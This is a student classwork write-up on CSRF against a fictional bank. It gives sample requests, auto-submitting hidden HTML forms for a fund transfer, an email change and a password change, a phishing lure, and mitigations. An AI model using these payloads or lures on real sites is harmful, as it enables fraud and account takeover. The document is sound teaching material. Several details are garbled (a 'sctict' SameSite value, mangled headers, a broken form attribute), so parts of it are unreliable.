Class Work on CSRF RollNo: K072 Name: Tatsam Pandey

How to conduct a CSRF Attack by checking conditions for a successful CSRF Attack

Disclaimer: The contents of this classwork are only for educational purposes

Scenario 1 : CSRF Attack on a Fund Transfer Functionality

A banking web application allows users to transfer funds by submitting a form. The server does not validate CSRF tokens, making it vulnerable to CSRF attacks.

Step 1: Check if the Application is Vulnerable

a. Write the procedure followed with a sample POST Request for account=56789 and amount=1000)

VICTIM:

(procedure to be followed by the victim)

1) **log in to the banking App**
2) **Navigate to the transfer fund app**
3) **Submit a legitimate transfer request.**
4) **Capture the HTTP request using browser tools(Burpsuit)**

HTTP Request:-

```
POST/transfer HTTP/1.1

Host: AcmeBank.com
Cookie: session_id=abc123¢
Content-Type: application/x-www-form-urlencoded
Origin: AcmeBank.com
Referer: AcmeBank.com
toaccount=56789&amount=1000
```

b. Analyze the Request and Test for Origin/Referer Validation. What information would you gain from it?

1) **Modify the origin/referer to attacker/abc If the server does not validate these headers, it is further confirmed to be vulnerable.**
2) **Parameters to account x amount are static and do not have any randomness this is vulnerable.**

How to conduct a CSRF Attack by checking conditions for a successful CSRF Attack

Disclaimer: The contents of this classwork are only for educational purposes

Step 2: Create a Malicious HTML Page

a. Craft a Hidden Form: Create an HTML page that submits a similar request automatically.

Craft an HTML malicious page

```
<html>
    <body>
        <form action="https://AcmeBank.com/transfer" method="POST">
            <input type="hidden" name="amount" value="5000"/>
            <input type="hidden" name="toAccount" value="123456"/>
        </form>

        <script>
            document.forms[0].submit();
        </script>

    </body>

</html>
```

b. Host the Malicious Page on the server the attacker controls (e.g., https://malicious-site.com/csrf.html).

Upload this page to a server that the attacker is controlling.

http://malicious-site.com/csrf.html

Step 3: Trick the Victim

a. Send the Link to the Victim. How will you do it? (Email or message to the victim which should look harmless (e.g., "Click here to win a prize!")).

Email a message on social media site

Attention! Withdrawal of 100000₹. Click the link if it wasn't you: **http://malicious-site.com/csrf.html**

How to conduct a CSRF Attack by checking conditions for a successful CSRF Attack

Disclaimer: The contents of this classwork are only for educational purposes

b. What will happen when the victim interacts with the message and what conditions are required to be true?

The victim interacts with the link while being still logged into the transfer page. The browser will send the malicious request to https://AcmeBank.com/transfer being the victim's session ID.

Conditions to be TRUE

- **Relevant action: attacker will have a gain from it & victim will have a loss**
- **Cookie-based session handling: session-based in this scenario**
- **No unpredictable request parameters: only 2 parameters are toAccount and amount**

Step 4: Verify the Attack

a. How will you the attacker know the attack was successful? Write at least two methods.

1) The attacker will monitor his account 123456 where the transfer of 5000 is made.
2) Attacker will monitor his website logs to confirm that the user clicked/visited the site,

Step 5: Conditions for a Successful CSRF Attack

a. Concerning this scenario what are the conditions for a successful CSRF Attack?

1) Victim is authenticated

they have to be logged into the target app throughout the attack

2) Session cookie is active and is automatically included in the malicious requests.
3) No CSRF token validation. The server is not validating any other token parameter.
4) No origin/Referer header validation done by the server

Step 6: Mitigation

a. Suggest fixes to be implemented after confirming the vulnerability?

1) Use CSFR tokens

Include a unique CSRF token in forms to be validated by server.

2) Validate origin/referer to include trusted servers
3) Set same site cookies

Use sameSite=sctict instead of sameSite=strict for server cookies

4) Redirect sensitive actions to POST

Class Work on CSRF RollNo: K072 Name: Tatsam Pandey

How to conduct a CSRF Attack by checking conditions for a successful CSRF Attack

Disclaimer: The contents of this classwork are only for educational purposes

Scenario 2: CSRF on Account Settings Update

A web application allows users to update their email addresses via a form. The server does not validate CSRF tokens.

Step 1: Check if the Application is Vulnerable

a. Write the procedure to identify the vulnerability.

- If we can change the origin & referrer and the server accepts the request without throwing any errors. The site is vulnerable to CSRF
- No CSRF token is attached to the password.

b. Write the sample POST Request.

POST/update_email HTTP 1.1

HOST: ACMEbanl.com

cookie: session_id=xyz1234 origin:www.ACMEbank.org

content-type: application/x-www-wrlencoded

referrer: www.ACMEbank.com

email=abc@ACMEbank.com

Step 2: Create a Malicious Page

a. Craft a Hidden Form: Create an HTML page that submits a similar request automatically.

```
<html>
    <body>
        <form action="https://acmebank.com/update_email" method="POST">
            <input type="hidden" name="email" value="attacker@sample.com">
            <input type="submit" value="submit">
        </form>
    <script>
        document.forms[0].submit();
    </script>
    </body>
</html>
```

b. How will you Host the Malicious Page to trick the victim?

Host this page on a server handled by the attacker, send a phishing link to the victim.

ex: Email -> Which looks like it was sent from ACMEbank.com.

c. How will you verify the exploit?

Class Work on CSRF RollNo: K072 Name: Tatsam Pandey

How to conduct a CSRF Attack by checking conditions for a successful CSRF Attack

Disclaimer: The contents of this classwork are only for educational purposes

Check if the victim's email is changed to attacker@sample.com

Scenario 3: CSRF on Password Change

A web application allows users to change their passwords without requiring the old password. The server lacks CSRF protection.

Step 1: Check if the Application is Vulnerable

a. Write the procedure to identify the vulnerability.

- If we can change the origin & referrer and the server accepts the request without throwing any errors. The site is vulnerable to CSRF
- No CSRF token is attached to the password.
- The server does not ask for old passwords making it easy for the attackers to proceed without proper authentication.

b. Write the sample POST Request.

POST/change_password HTTP 1.1

HOST: ACMEbanl.com

cookie: session_id=xyz1234 origin:www.ACMEbank.org

content-type: application/x-www-wrlencoded

referrer: www.ACMEbank.com

new_password=abc123 & confirm_password=abc123

Step 2: Create a Malicious Page

a. Craft a Hidden Form: Create an HTML page that submits a similar request automatically.

```
<html>
    <body>
        <form action="https://ACMEbank.com/change_password" message="POST">
            <input type="hidden" name="new_password" value="abc123"/>
            <input type="hidden" name="cofirm_password" value="abc123"/>
            <input type="hidden" name="submit" value="submit"/>
        </form>
    <script>
```

How to conduct a CSRF Attack by checking conditions for a successful CSRF Attack

Disclaimer: The contents of this classwork are only for educational purposes

```
        document.forms[0].submit();
    </script>
    </body>
</html>
```

b. How will you Host the Malicious Page to trick the victim?

Host this page on a server handled by the attacker, send a phishing link to the victim.
ex: Email -> Which looks like it was sent from ACMEbank.com.

c. How will you verify the exploit?

We will try to log in using the changed password. If we can log in, out attack was successful.

CSRF Mitigation:

1) **Implement CSRF token. It is a unique value generated by the server and sent to the user browser. This token is required in any request made by the user.**
2) **Validation origin/referer header:**

   The server checks if the user's incoming request to verify the user. If the server finds the request was sent from a different site, then it will reject the request.

User Side Cookies:

3) **It restricts the cookies from being sent with cross-site-requests**
4) **Cookies masked as same-site=strict are only sent with requests originating from the same domain.**
5) **Cookies marked as same-site=lax are sent from same cross-site requests, the GET request but not POST on sensitive actions.**
6) **Requirement re-authentication for sensitive actions: Provide multi-factor authentication for the user's sensitive actions.**